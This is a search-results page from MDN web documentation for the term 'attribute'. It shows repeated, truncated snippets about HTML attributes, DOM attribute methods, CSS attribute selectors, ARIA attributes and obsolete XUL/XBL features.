Search completed in 1.09 seconds.
HTML attribute reference - HTML: Hypertext Markup Language
action <form> the uri of a program that processes the information submitted via the form. ...
... action <form> the uri of a program that processes the information submitted via the form. ...
... action <form> the uri of a program that processes the information submitted via the form. ...
...And 38 more matches
XUL element attributes - Archive of obsolete content
for boxes that have horizontal orientation, it specifies how its children will be aligned vertically. for boxes that have vertical orientation, it specifies how its children will be aligned horizontally. start child elements are aligned starting from the left or top edge of the box. if the box is larger than the total size of the children, the extra space is placed on the right or bottom side. ...
...ligned so that their text labels are lined up. stretch this is the default value. the child elements are stretched to fit the size of the box. for a horizontal box, the children are stretched to be the height of the box. for a vertical box, the children are stretched to be the width of the box. if the size of the box changes, the children stretch to fit. ...
...you can also specify the value of align using the style property -moz-box-align. allowevents type: boolean if true, events are passed to children of the element. otherwise, events are passed to the element only. ...
...And 28 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
the rel
attribute defines the relationship between a linked resource and the current document. valid on <link>, <a>, <area>, and <form>, the supported values depend on the element on which the
attribute is found. the type of relationships is given by the value of the rel
attribute, which, if present, must have a value that is an unordered set of unique space-separated keywords, which are listed in the following table. every keyword within a space seperated value should be unique within that value. values for the rel
attribute, and the elements for which each is relevant rel value description <link> <a> and <area> <form> alternate alternate representations of the current document. link link not allowed author author of the current docum...
...document. link link link nofollow indicates that the current document's original author or publisher does not endorse the referenced document. not allowed annotation annotation noopener creates a top-level browsing context that is not an auxiliary browsing context if the hyperlink would create either of those to begin with (i.e., has an appropriate target
attribute value). not allowed annotation annotation noreferrer no referer header will be included. additionally, has the same effect as noopener. not allowed annotation annotation opener creates an auxiliary browsing context if the hyperlink would otherwise create a top-level browsing context that is not anauxiliary browsing context (i.e., has "_blank" as target at...
...d prefetch specifies that the user agent should preemptively fetch and cache the target resource as it is likely to be required for a followup navigation. external resource not allowed not allowed preload specifies that the user agent must preemptively fetch and cache the target resource for current navigation according to the potential destination given by the as
attribute (and the priority associated with the corresponding destination). external resource not allowed not allowed prerender specifies that the user agent should preemptively fetch the target resource and process it in a way that helps deliver a faster response in the future. external resource not allowed not allowed prev indicates that the current document is a...
...And 19 more matches
Gecko object attributes
this is useful for retrieving microformat semantics for an element. ...
...this is useful for retrieving microformat semantics for an element. ...
...this is useful for retrieving microformat semantics for an element. ...
...And 18 more matches
Global attributes - HTML: Hypertext Markup Language
global
attributes are
attributes common to all html elements; they can be used on all elements, though they may have no effect on some elements. global
attributes may be specified on all html elements, even those not specified in the standard. that means that any non-standard elements must still permit these
attributes, even though using those elements means that the document is no longer html5-compliant. for example, html5-compliant browsers hide content marked as <foo hidden>...</foo>, even though <foo> is not a valid html element. in addition to the basic html global
attributes, the following global
attributes also exist: xml:lang and xml:base — these are inherited from the xhtml specifications and deprecated, but kept for compatibility purposes. ...
...nger html5-compliant. for example, html5-compliant browsers hide content marked as <foo hidden>...</foo>, even though <foo> is not a valid html element. in addition to the basic html global
attributes, the following global
attributes also exist: xml:lang and xml:base — these are inherited from the xhtml specifications and deprecated, but kept for compatibility purposes. the multiple aria-*
attributes, used for improving accessibility. ...
...content marked as <foo hidden>...</foo>, even though <foo> is not a valid html element. in addition to the basic html global
attributes, the following global
attributes also exist: xml:lang and xml:base — these are inherited from the xhtml specifications and deprecated, but kept for compatibility purposes. the multiple aria-*
attributes, used for improving accessibility. ...
...And 17 more matches
XBL Attribute Inheritance - Archive of obsolete content
« previousnext » in this section we'll see how
attributes can be inherited. inherited
attributes xbl allows us to build composite widgets while hiding their actual implementation. however, with the features mentioned so far, the anonymous content is always created in the same way. it would be useful to add
attributes to the bound elements that modify the inner elements. for example: xul: <searchbox/> xbl: <binding id="searchbinding"> <content> <xul:textbox/> <xul:button label="search"/> </content> </binding> in the example, the label
attribute has been placed directly on the button element. the problem with this is that the label would be the same every time the binding was used. ...
...ify the inner elements. for example: xul: <searchbox/> xbl: <binding id="searchbinding"> <content> <xul:textbox/> <xul:button label="search"/> </content> </binding> in the example, the label
attribute has been placed directly on the button element. the problem with this is that the label would be the same every time the binding was used. in this case, it would be preferable if the
attribute could be specified on the searchbox instead. xbl provides an inherits
attribute which can be used to inherit
attributes from the bound element. it should be placed on the element that should inherit an
attribute from the outer element, in this case the button. its value should be set to a comma-separated list of
attribute names that are to be inherited. <xul:textbox xbl:inherits="flex"/> <xul:but...
... can be used to inherit
attributes from the bound element. it should be placed on the element that should inherit an
attribute from the outer element, in this case the button. its value should be set to a comma-separated list of
attribute names that are to be inherited. <xul:textbox xbl:inherits="flex"/> <xul:button xbl:inherits="label"/> when the content is generated, the textbox grabs the flex
attribute from the searchbox and the button grabs the label
attribute from the searchbox. this allows both the flexibility of the textbox and the label of the button to be different for each use of the binding. in addition, changing the value of the
attributes on the searchbox with a script will update the textbox and button also. ...
...And 12 more matches
Using the aria-labelledby attribute - Accessibility
without an element id, the assistive technology cannot catalog the object. ...
...without an element id, the assistive technology cannot catalog the object. ...
...without an element id, the assistive technology cannot catalog the object. aria-labelledby is very similar to aria-describedby: a label provides essential information about an object, while a description provides extended information that the user might need. ...
...And 10 more matches
Attribute selectors - Learn web development
previous overview: building blocks next as you know from your study of html, elements can have
attributes that give further detail about the element being marked up. in css you can use
attribute selectors to target elements with certain
attributes. this lesson will show you how to use these very useful selectors. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn what
attribute selectors are and how to use them. ...
...erequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn what
attribute selectors are and how to use them. presence and value selectors these selectors enable the selection of an element based on the presence of an
attribute alone (for example href), or on various different matches against the value of the
attribute. ...
...ective: to learn what
attribute selectors are and how to use them. presence and value selectors these selectors enable the selection of an element based on the presence of an
attribute alone (for example href), or on various different matches against the value of the
attribute. selector example description [attr] a[title] matches elements with an attr
attribute (whose name is the value in square brackets). [attr=value] a[href="https://example.com"] matches elements with an attr
attribute whose value is exactly value — the string inside the quotes. [attr~=value] p[class~="special"] matches elements with an attr
attribute whose value is exactly value, or contains value in its (space separated) list of values. ...
...And 8 more matches
MutationObserverInit.attributes - Web APIs
the mutationobserverinit dictionary's optional
attributes property is used to specify whether or not to watch for
attribute value changes on the node or nodes being observed. syntax var options = {
attributes: true | false } value a boolean value indicating whether or not to report through the callback any changes to the values of
attributes on the node or nodes being monitored. the default value is false. if true, the callback specified when observe() was used to start observing the node or subtree will be called any time one or more
attributes have changed on observed nodes. ...
... value a boolean value indicating whether or not to report through the callback any changes to the values of
attributes on the node or nodes being monitored. the default value is false. if true, the callback specified when observe() was used to start observing the node or subtree will be called any time one or more
attributes have changed on observed nodes. you can expand the capabilities of
attribute mutation monitoring using other options:
attributefilter lets you specify specific
attribute names to monitor instead of monitoring all
attributes.
attributeoldvalue lets you specify whether or not you want the previous value of changed
attributes to be included in the mutationrecord's oldvalue property. subtree lets you specify whether to watch the target node and all of its descendants (tr...
...er lets you specify specific
attribute names to monitor instead of monitoring all
attributes.
attributeoldvalue lets you specify whether or not you want the previous value of changed
attributes to be included in the mutationrecord's oldvalue property. subtree lets you specify whether to watch the target node and all of its descendants (true), or just the target node (false). if you set either
attributefilter or
attributeoldvalue to true,
attributes is automatically assumed to be true, even if you don't expressly set it as such. example in this example, a mutation observer is set up to watch for changes to the status and username
attributes in any elements contained within a subtree that displays the names of users in a chat room. this lets the code, for example, reflect changes to users' nick...
...And 8 more matches
HTML attribute: pattern - HTML: Hypertext Markup Language
the pattern
attribute specifies a regular expression the form control's value should match. if a non-null value doesn't conform to the constraints set by the pattern value, the validitystate object's read-only patternmismatch property will be true. the pattern
attribute is an
attribute of the text, tel, email, url, password, and search input types. the pattern
attribute, when specified, is a regular expression which the input's value must match in order for the value to pass constraint validation. it must be a valid javascript regular expression, as used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no fo...
... used by the regexp type, and as documented in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. ...
... in our guide on regular expressions; the 'u' flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of unicode code points, instead of as ascii. no forward slashes should be specified around the pattern text. if the specified pattern is not specified or is invalid, no regular expression is applied and this
attribute is ignored. ...
...And 8 more matches
HTML attribute: required - HTML: Hypertext Markup Language
it is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden. ...
...it is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden. ...
...it is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden. ...
...And 8 more matches
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
this article explains a change that has occured in the way sizes are worked out on web documents when width and height
attributes are set on them. this change means that the aspect ratio of the image is calculated by the browser early on and can then be used to correct the size needed to display the image before it has loaded, if css has been applied that causes problems with its display size. read on to find out more. ...
...means that the aspect ratio of the image is calculated by the browser early on and can then be used to correct the size needed to display the image before it has loaded, if css has been applied that causes problems with its display size. read on to find out more. jank problems when loading images in the olden days of web development, it was always seen as a good practice to add width and height
attributes to your html <img> elements, so that when browsers first loaded the page, they could put a correctly-sized placeholder box in the layout for each image to appear in when it finally loads. without the width and height
attributes, no placeholder space would be created, and when the image finally loaded you would get a noticeable jank in the page layout. this wasn't an attractive thing for your ...
... let’s move forward a few years to the era of responsive design. ...
...And 8 more matches
Element.hasAttribute() - Web APIs
the element.has
attribute() method returns a boolean value indicating whether the specified element has the specified
attribute or not. syntax var result = element.has
attribute(name); result holds the return value true or false. name is a string representing the name of the
attribute. ...
... the element.has
attribute() method returns a boolean value indicating whether the specified element has the specified
attribute or not. syntax var result = element.has
attribute(name); result holds the return value true or false. name is a string representing the name of the
attribute. ...
...alue indicating whether the specified element has the specified
attribute or not. syntax var result = element.has
attribute(name); result holds the return value true or false. name is a string representing the name of the
attribute. ...
...And 7 more matches
Element.removeAttribute() - Web APIs
the element method remove
attribute() removes the
attribute with the specified name from the element. syntax element.remove
attribute(attrname); parameters attrname a domstring specifying the name of the
attribute to remove from the element. if the specified
attribute does not exist, remove
attribute() returns without generating an error. return value undefined. usage notes you should use remove
attribute() instead of setting the
attribute value to null either directly or using set
attribute(). many
attributes will not behave as expected if you set them to null. ...
...ribute to remove from the element. if the specified
attribute does not exist, remove
attribute() returns without generating an error. return value undefined. usage notes you should use remove
attribute() instead of setting the
attribute value to null either directly or using set
attribute(). many
attributes will not behave as expected if you set them to null. ...
...ly or using set
attribute(). many
attributes will not behave as expected if you set them to null. ...
...And 7 more matches
Element.removeAttributeNS() - Web APIs
the remove
attributens() method of the element interface removes the specified
attribute from an element. syntax element.remove
attributens(namespace, attrname); parameters namespace is a string that contains the namespace of the
attribute. attrname is a string that names the
attribute to be removed from the current node. ...
...
attributens(namespace, attrname); parameters namespace is a string that contains the namespace of the
attribute. attrname is a string that names the
attribute to be removed from the current node. ...
...
attribute to be removed from the current node. ...
...And 7 more matches
Element.setAttributeNS() - Web APIs
set
attributens adds a new
attribute or changes the value of an
attribute with the given namespace and name. syntax element.set
attributens(namespace, name, value) namespace is a string specifying the namespace of the
attribute. name is a string identifying the
attribute by its qualified name; that is, a namespace prefix followed by a colon followed by a local name. value is the desired string value of the new
attribute. ...
...n namespace and name. syntax element.set
attributens(namespace, name, value) namespace is a string specifying the namespace of the
attribute. name is a string identifying the
attribute by its qualified name; that is, a namespace prefix followed by a colon followed by a local name. value is the desired string value of the new
attribute. ...
...space of the
attribute. name is a string identifying the
attribute by its qualified name; that is, a namespace prefix followed by a colon followed by a local name. value is the desired string value of the new
attribute. ...
...And 7 more matches
MutationObserverInit.attributeOldValue - Web APIs
the mutationobserverinit dictionary's optional
attributeoldvalue property is used to specify whether or not to record the prior value of the altered
attribute in mutationrecord objects denoting
attribute value changes. syntax var options = {
attributeoldvalue: true | false } value a boolean value indicating whether or not the prior value of a changed
attribute should be included in the mutationobserver.oldvalue property when reporting
attribute value changes. if true, oldvalue is set accordingly. if false, it is not. when using
attributeoldvalue, setting the
attributes option to true is optional. ...
...hether or not the prior value of a changed
attribute should be included in the mutationobserver.oldvalue property when reporting
attribute value changes. if true, oldvalue is set accordingly. if false, it is not. when using
attributeoldvalue, setting the
attributes option to true is optional. example in this example, a mutation observer is set up to watch for changes to the status and username
attributes in any elements contained within a subtree that displays the names of users in a chat room. this lets the code, for example, reflect changes to users' nicknames, or to mark them as away from keyboard (afk) or offline. ...
... up to watch for changes to the status and username
attributes in any elements contained within a subtree that displays the names of users in a chat room. this lets the code, for example, reflect changes to users' nicknames, or to mark them as away from keyboard (afk) or offline. ...
...And 7 more matches
JS_SetPropertyAttributes
obsolete since jsapi 26this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. set the
attributes for a specified property. syntax jsbool js_setproperty
attributes(jscontext *cx, jsobject *obj, const char *name, unsigned int attrs, jsbool *foundp); jsbool js_setucproperty
attributes(jscontext *cx, jsobject *obj, const jschar *name, size_t namelen, unsigned int attrs, jsbool *foundp); name type description cx jscontext * the context in which to set the property
attributes. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object for which to set property
attributes. na...
... jsbool *foundp); name type description cx jscontext * the context in which to set the property
attributes. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object for which to set property
attributes. name const char * or const jschar * name of the property for which to set
attributes. namelen size_t (in js_setucproperty
attributes only) the length of name, in characters. attrs unsigned int
attribute values to set. foundp jsbool * out parameter. flag indicating whether or not the specified property was located. description js_setproperty
attributes sets the
attributes for a specified property, name of an object obj. js_setucp...
...it is the bitwise or of zero or more of the following values: flag purpose jsprop_enumerate property is visible in for and in loops. jsprop_readonly property is read only. ...
...And 6 more matches
Element.attributes - Web APIs
the element.
attributes property returns a live collection of all
attribute nodes registered to the specified node. it is a namednodemap, not an array, so it has no array methods and the attr nodes' indexes may differ among browsers. to be more specific,
attributes is a key/value pair of strings that represents any information regarding that
attribute. syntax var attr = element.
attributes; example basic examples // get the first <p> element in the document var para = document.getelementsbytagname("p")[0]; var atts = para.
attributes; enumerating elements
attributes numerical indexing is useful for going through all of an element's
attributes. the following example runs through the
attribute nodes for the element in the document with id "paragraph", and prints each
attribute's value. <!doct...
...ement in the document var para = document.getelementsbytagname("p")[0]; var atts = para.
attributes; enumerating elements
attributes numerical indexing is useful for going through all of an element's
attributes. the following example runs through the
attribute nodes for the element in the document with id "paragraph", and prints each
attribute's value. ...
...tts = para.
attributes; enumerating elements
attributes numerical indexing is useful for going through all of an element's
attributes. the following example runs through the
attribute nodes for the element in the document with id "paragraph", and prints each
attribute's value. ...
...And 6 more matches
Using the aria-invalid attribute - Accessibility
values vocabulary: false (default) no errors detected grammar a grammatical error has been detected. ...
... values vocabulary: false (default) no errors detected grammar a grammatical error has been detected. ...
... values vocabulary: false (default) no errors detected grammar a grammatical error has been detected. spelling a spelling error has been detected. true the value has failed validation. any value not in this vocabulary should be treated as true. ...
...And 6 more matches
HTML attribute: multiple - HTML: Hypertext Markup Language
the boolean multiple
attribute, if set, means the form control accepts one or more values. valid for the email and file input types and the <select>, the manner by which the user opts for multiple values depends on the form control. depending on the type, the form control may have a different appearance if the multiple
attribute is set. for the file input type, the native messaging the browser provides differs. in firefox, the file input reads "no files selected" when the
attribute is present and "no file selected" when not, when no files are selected. most browsers displaying a scrolling list box for a <select> control with the multiple
attribute set versus a single line dropdown when the
attribute is ommitted. the email input displays the same, but will match the :invalid pseudo-class i...
...d" when the
attribute is present and "no file selected" when not, when no files are selected. most browsers displaying a scrolling list box for a <select> control with the multiple
attribute set versus a single line dropdown when the
attribute is ommitted. the email input displays the same, but will match the :invalid pseudo-class if more than one comma-separated email address is included if the
attribute is not present. when multiple is set on the email input type, the user can inlclude zero (if not also required), one or more comma-separated email addresses. <input type="email" multiple name="emails" id="emails"> if and only if the multiple
attribute is specified, the value can be a list of properly-formed comma-separated e-mail addresses. any trailing and leading whitespace is removed from e...
...resses. any trailing and leading whitespace is removed from each address in the list. when multiple is set on the file input type, the user can select one or more files. the user can choose multiple files from the file picker in any way that their chosen platform allows (e.g. by holding down shift or control, and then clicking). <input type="file" multiple name="uploads" id="uploads"> when the
attribute is omitted, the user can only select a single file per <input>. the multiple
attribute on the <select> element represents a control for selecting zero or more options from the list of options. otherwise, the <select> element represents a control for selecting a single <option> from the list of options. <select multiple name="drawfs" id="drawfs"> <option>grumpy</option> <option>happy</option...
...And 6 more matches
HTML attribute: readonly - HTML: Hypertext Markup Language
the boolean readonly
attribute, when present, makes the element not mutable, meaning the user can not edit the control. if the readonly
attribute is specified on an input element, because the user can not edit the input, the element does not participate in constraint validation. the readonly
attribute is supported by text, search, url, tel, email, password, date, month, week, time, datetime-local, and number<input> types and the <textarea> form control elements. if present on any of these input types and elements, the :read-only pseudo class will match. if the
attribute is not included, the :read-write pseudo class will match. ...
...range and color, as both have default values. it is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden. ...
...s both have default values. it is also not supported on hidden as it can not be expected that a user to fill out a form that is hidden. nor is it supported on any of the button types, including image. ...
...And 6 more matches
SVG Attribute reference - SVG: Scalable Vector Graphics
svg elements can be modified using
attributes that specify details about exactly how the element should be handled or rendered. below is a list of all of the
attributes available in svg along with links to reference documentation to help you learn which elements support them and how they work. ...
... svg elements can be modified using
attributes that specify details about exactly how the element should be handled or rendered. below is a list of all of the
attributes available in svg along with links to reference documentation to help you learn which elements support them and how they work. ...
...butes that specify details about exactly how the element should be handled or rendered. below is a list of all of the
attributes available in svg along with links to reference documentation to help you learn which elements support them and how they work. ...
...And 6 more matches
getAttributeNS - Archive of obsolete content
as some browsers do not support get
attributens, the following might be used to work on them as well. while namespaced
attributes are less common than namespaced elements, some standards such as xlink depend on them. note that all gecko-based browsers (including firefox) support dom:element.get
attributens. this function is not necessary for gecko-based browsers. ...
... as some browsers do not support get
attributens, the following might be used to work on them as well. while namespaced
attributes are less common than namespaced elements, some standards such as xlink depend on them. note that all gecko-based browsers (including firefox) support dom:element.get
attributens. this function is not necessary for gecko-based browsers. ...
...l. while namespaced
attributes are less common than namespaced elements, some standards such as xlink depend on them. note that all gecko-based browsers (including firefox) support dom:element.get
attributens. this function is not necessary for gecko-based browsers. ...
...And 5 more matches
Attribute Substitution - Archive of obsolete content
« previousnext » so far,
attribute replacement in an action body has been used to replace an entire
attribute with the value of a variable. however, you may also replace only part of
attribute's value, or use multiple variables in one
attribute. for instance, to include a prefix before a variable value, you can use: <label value="my name is ?name"/> the effect will be that the ?name part of the
attribute will be replaced by the value of the variable ?name. for instance, if the value of ?name is 'jake', then the
attribute value will be 'my name is jake'. ...
...note that variable names must have a space after them as this is how the end of variable is determined. ...
...note that variable names must have a space after them as this is how the end of variable is determined. that is '?name?age' is considered to be a single variable with that name, not two variables together. to use two variables, place a space between them. it is sometimes useful though, to concatenate two values together without a space. ...
...And 5 more matches
Element.getAttributeNS() - Web APIs
the get
attributens() method of the element interface returns the string value of the
attribute with the specified namespace and name. if the named
attribute does not exist, the value returned will either be null or "" (the empty string); see notes for details. syntax attrval = element.get
attributens(namespace, name) parameters namespace the namespace in which to look for the specified
attribute. name the name of the
attribute to look for. return value the string value of the specified
attribute. if the
attribute doesn't exist, the result is null. note: earlier versions of the dom specification had this method described as returning an empty string for non-existent
attributes, but it was not typically implemented this way since null makes more sense. the dom4 specification now says th...
... return value the string value of the specified
attribute. if the
attribute doesn't exist, the result is null. note: earlier versions of the dom specification had this method described as returning an empty string for non-existent
attributes, but it was not typically implemented this way since null makes more sense. the dom4 specification now says this method should return null for non-existent
attributes. examples the following svg document reads the value of the foo
attribute in a custom namespace. ...
...says this method should return null for non-existent
attributes. examples the following svg document reads the value of the foo
attribute in a custom namespace. <svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="hello namespaced
attribute!"/> <script type="text/javascript"> var ns = 'http://www.example.com/2014/test'; var circle = document.getelementbyid( 'target' ); console.log( '
attribute test:foo: "' + circle.get
attributens( ns, 'foo' ) + '"' ); </script> </svg> in an html5 document the
attribute has to be accessed with test:foo since namespaces are not supported. <!doctype html> <html> <body> <svg xmlns="...
...And 5 more matches
Element.getAttributeNames() - Web APIs
the get
attributenames() method of the element interface returns the
attribute names of the element as an array of strings. if the element has no
attributes it returns an empty array. using get
attributenames() along with get
attribute(), is a memory-efficient and performant alternative to accessing element.
attributes. ...
... the get
attributenames() method of the element interface returns the
attribute names of the element as an array of strings. if the element has no
attributes it returns an empty array. using get
attributenames() along with get
attribute(), is a memory-efficient and performant alternative to accessing element.
attributes. ...
... the get
attributenames() method of the element interface returns the
attribute names of the element as an array of strings. if the element has no
attributes it returns an empty array. using get
attributenames() along with get
attribute(), is a memory-efficient and performant alternative to accessing element.
attributes. ...
...And 5 more matches
Element.hasAttributeNS() - Web APIs
has
attributens returns a boolean value indicating whether the current element has the specified
attribute. syntax result = element.has
attributens(namespace,localname) result is the boolean value true or false. namespace is a string specifying the namespace of the
attribute. localname is the name of the
attribute. ...
... has
attributens returns a boolean value indicating whether the current element has the specified
attribute. syntax result = element.has
attributens(namespace,localname) result is the boolean value true or false. namespace is a string specifying the namespace of the
attribute. localname is the name of the
attribute. ...
...icating whether the current element has the specified
attribute. syntax result = element.has
attributens(namespace,localname) result is the boolean value true or false. namespace is a string specifying the namespace of the
attribute. localname is the name of the
attribute. ...
...And 5 more matches
Element.setAttribute() - Web APIs
sets the value of an
attribute on the specified element. if the
attribute already exists, the value is updated; otherwise a new
attribute is added with the specified name and value. to get the current value of an
attribute, use get
attribute(); to remove an
attribute, call remove
attribute(). syntax element.set
attribute(name, value); parameters name a domstring specifying the name of the
attribute whose value is to be set. the
attribute name is automatically converted to all lower-case when set
attribute() is called on an html element in an html document. value a domstring containing the value to assign to the
attribute. any non-string value specified is converted automatically into a string. ...
...see the example below for a practical demonstration. ...
...() is called on an html element in an html document. value a domstring containing the value to assign to the
attribute. any non-string value specified is converted automatically into a string. boolean
attributes are considered to be true if they're present on the element at all, regardless of their actual value; as a rule, you should specify the empty string ("") in value (some people use the
attribute's name; this works but is non-standard). see the example below for a practical demonstration. since the specified value gets converted into a string, specifying null doesn't necessarily do what you expect. instead of removing the
attribute or setting its value to be null, it instead sets the
attribute's value to the string "null". if you wish to remove an
attribute, call remove
attribute(). retu...
...And 5 more matches
MutationObserverInit.attributeFilter - Web APIs
the mutationobserverinit dictionary's optional
attributefilter property is an array of strings specifying the names of the
attributes whose values are to be monitored for changes. if this property is specified, there's no need to also set
attributes to true, as it's implied. if the
attributes permission is true but no
attributefilter is included in the options object, all
attributes' values are watched for changes. syntax var options = {
attributefilter: [ "list", "of", "
attribute", "names" ] } value an array of domstring objects, each specifying the name of one
attribute whose value is to be monitored for changes. there is no default value. ...
... values are watched for changes. syntax var options = {
attributefilter: [ "list", "of", "
attribute", "names" ] } value an array of domstring objects, each specifying the name of one
attribute whose value is to be monitored for changes. there is no default value. if this property exists on the options object when the mutationobserver() constructor is used to create a new mutationobserver,
attribute monitoring is enabled regardless of whether or not the
attributes property is true. example in this example, a mutation observer is set up to watch for changes to the status and username
attributes in any elements contained within a subtree that displays the names of users in a chat room. this lets the code, for example, reflect changes to users' nicknames, or to mark them as away from keyboard...
... up to watch for changes to the status and username
attributes in any elements contained within a subtree that displays the names of users in a chat room. this lets the code, for example, reflect changes to users' nicknames, or to mark them as away from keyboard (afk) or offline. ...
...And 5 more matches
Attribute selectors - CSS: Cascading Style Sheets
the css
attribute selector matches elements based on the presence or value of a given
attribute. /* <a> elements with a title
attribute */ a[title] { color: purple; } /* <a> elements with an href matching "https://example.org" */ a[href="https://example.org"] { color: green; } /* <a> elements with an href containing "example" */ a[href*="example"] { font-size: 2em; } /* <a> elements with an href ending ".org" */ a[href$=".org"] { font-style: italic; } /* <a> elements whose class
attribute contains the word "logo" */ a[class~="logo"] { padding: 2px; } syntax [attr] represents elements with an
attribute name of attr. [attr=value] represents elements with an
attribute name of attr whose value is exactly value. ...
...a> elements with an href ending ".org" */ a[href$=".org"] { font-style: italic; } /* <a> elements whose class
attribute contains the word "logo" */ a[class~="logo"] { padding: 2px; } syntax [attr] represents elements with an
attribute name of attr. [attr=value] represents elements with an
attribute name of attr whose value is exactly value. [attr~=value] represents elements with an
attribute name of attr whose value is a whitespace-separated list of words, one of which is exactly value. [attr|=value] represents elements with an
attribute name of attr whose value can be exactly value or can begin with value immediately followed by a hyphen, - (u+002d). ...
...e] represents elements with an
attribute name of attr whose value is a whitespace-separated list of words, one of which is exactly value. [attr|=value] represents elements with an
attribute name of attr whose value can be exactly value or can begin with value immediately followed by a hyphen, - (u+002d). it is often used for language subcode matches. [attr^=value] represents elements with an
attribute name of attr whose value is prefixed (preceded) by value. [attr$=value] represents elements with an
attribute name of attr whose value is suffixed (followed) by value. [attr*=value] represents elements with an
attribute name of attr whose value contains at least one occurrence of value within the string. [attr operator value i] adding an i (or i) before the closing bracket causes the value ...
...And 5 more matches
HTML attribute: accept - HTML: Hypertext Markup Language
it was supported on the <form> element, but was removed in favor of file in html5. because a given file type may be identified in more than one manner, it's useful to provide a thorough set of type specifiers when you need files of specific type, or use the wild card to denote a type of any format is acceptable. ...
...it is still possible (in most cases) for users to toggle an option in the file chooser that makes it possible to override this and select any file they wish, and then choose incorrect file types. because of this, you should make sure that expected requi...
...udio file:</label> <input type="file" id="soundfile" accept="audio/*"> </p> <p> <label for="videofile">select a video file:</label> <input type="file" id="videofile" accept="video/*"> </p> <p> <label for="imagefile">select some images:</label> <input type="file" id="imagefile" accept="image/*" multiple> </p> note the last example allows you to select multiple iamges. see the multiple
attribute for more information. unique file type specifiers a unique file type specifier is a string that describes a type of file that may be selected by the user in an <input> element of type file. each unique file type specifier may take one of the following forms: a valid case-insensitive filename extension, starting with a period (".") character. for example: .jpg, .pdf, or .doc. a valid mime t...
...And 5 more matches
Additional Template Attributes - Archive of obsolete content
<listbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" template="phototemplate"/> ... ...
... <listbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" template="phototemplate"/> ... ...
... <listbox datasources="template-guide-photos5.rdf" ref="http://www.xulplanet.com/rdf/myphotos" template="phototemplate"/> ... <template id="phototemplate"> ... ...
...And 4 more matches
Using data attributes - Learn web development
html5 is designed with extensibility in mind for data that should be associated with a particular element but need not have any defined meaning. data-*
attributes allow us to store extra information on standard, semantic html elements without other hacks such as non-standard
attributes, extra properties on dom, or node.setuserdata(). html syntax the syntax is simple. any
attribute on any element whose
attribute name starts with data- is a data
attribute. say you have an article and you want to store some extra information that doesn’t have any visual representation. ...
...rmation on standard, semantic html elements without other hacks such as non-standard
attributes, extra properties on dom, or node.setuserdata(). html syntax the syntax is simple. any
attribute on any element whose
attribute name starts with data- is a data
attribute. say you have an article and you want to store some extra information that doesn’t have any visual representation. just use data
attributes for that: <article id="electric-cars" data-columns="3" data-index-number="12314" data-parent="cars"> ... </article> javascript access reading the values of these
attributes out in javascript is also very simple. you could use get
attribute() with their full html name to read them, but the standard defines a simpler way: a domstringmap you can read out via a dataset property. to get a ...
... that: <article id="electric-cars" data-columns="3" data-index-number="12314" data-parent="cars"> ... </article> javascript access reading the values of these
attributes out in javascript is also very simple. you could use get
attribute() with their full html name to read them, but the standard defines a simpler way: a domstringmap you can read out via a dataset property. to get a data
attribute through the dataset object, get the property by the part of the
attribute name after data- (note that dashes are converted to camelcase). const article = document.queryselector('#electric-cars'); article.dataset.columns // "3" article.dataset.indexnumber // "12314" article.dataset.parent // "cars" each property is a string and can be read and written. in the above case setting article.dataset.
...And 4 more matches
Element.hasAttributes() - Web APIs
living standard moved from the node interface to the more specialized element interface. ...
... living standard moved from the node interface to the more specialized element interface. ...
... living standard moved from the node interface to the more specialized element interface. ...
...And 4 more matches
Element.toggleAttribute() - Web APIs
the toggle
attribute() method of the element interface toggles a boolean
attribute (removing it if it is present and adding it if it is not present) on the given element. syntax element.toggle
attribute(name [, force]); parameters name a domstring specifying the name of the
attribute to be toggled. the
attribute name is automatically converted to all lower-case when toggle
attribute() is called on an html element in an html document. force optional a boolean value to determine whether the
attribute should be added or removed, no matter whether the
attribute is present or not at the moment. return value true if
attribute name is eventually present, and false otherwise. ...
...ly converted to all lower-case when toggle
attribute() is called on an html element in an html document. force optional a boolean value to determine whether the
attribute should be added or removed, no matter whether the
attribute is present or not at the moment. return value true if
attribute name is eventually present, and false otherwise. exceptions invalidcharactererror the specified
attribute name contains one or more characters which are not valid in
attribute names. example in the following example, toggle
attribute() is used to toggle the readonly
attribute of a <input>. ...
...ent or not at the moment. return value true if
attribute name is eventually present, and false otherwise. exceptions invalidcharactererror the specified
attribute name contains one or more characters which are not valid in
attribute names. example in the following example, toggle
attribute() is used to toggle the readonly
attribute of a <input>. ...
...And 4 more matches
The HTML autocomplete attribute - HTML: Hypertext Markup Language
autocomplete lets web developers specify what if any permission the user agent has to provide automated assistance in filling out form field values, as well as guidance to the browser as to the type of information expected in the field. the source of the suggested values is generally up to the browser; typically values come from past values entered by the user, but they may also come from pre-configured values. for instance, a browser might let the user save their name, address, phone number, and email addresses for autocomplete purposes. ...
...y the user, but they may also come from pre-configured values. for instance, a browser might let the user save their name, address, phone number, and email addresses for autocomplete purposes. perhaps the browser offers the ability to save encrypted credit card information, for autocompletion following an authentication procedure. if an <input>, <select> or <textarea> element has no autocomplete
attribute, then browsers use the autocomplete
attribute of the element's form owner, which is either the <form> element that the element is a descendant of, or the <form> whose id is specified by the form
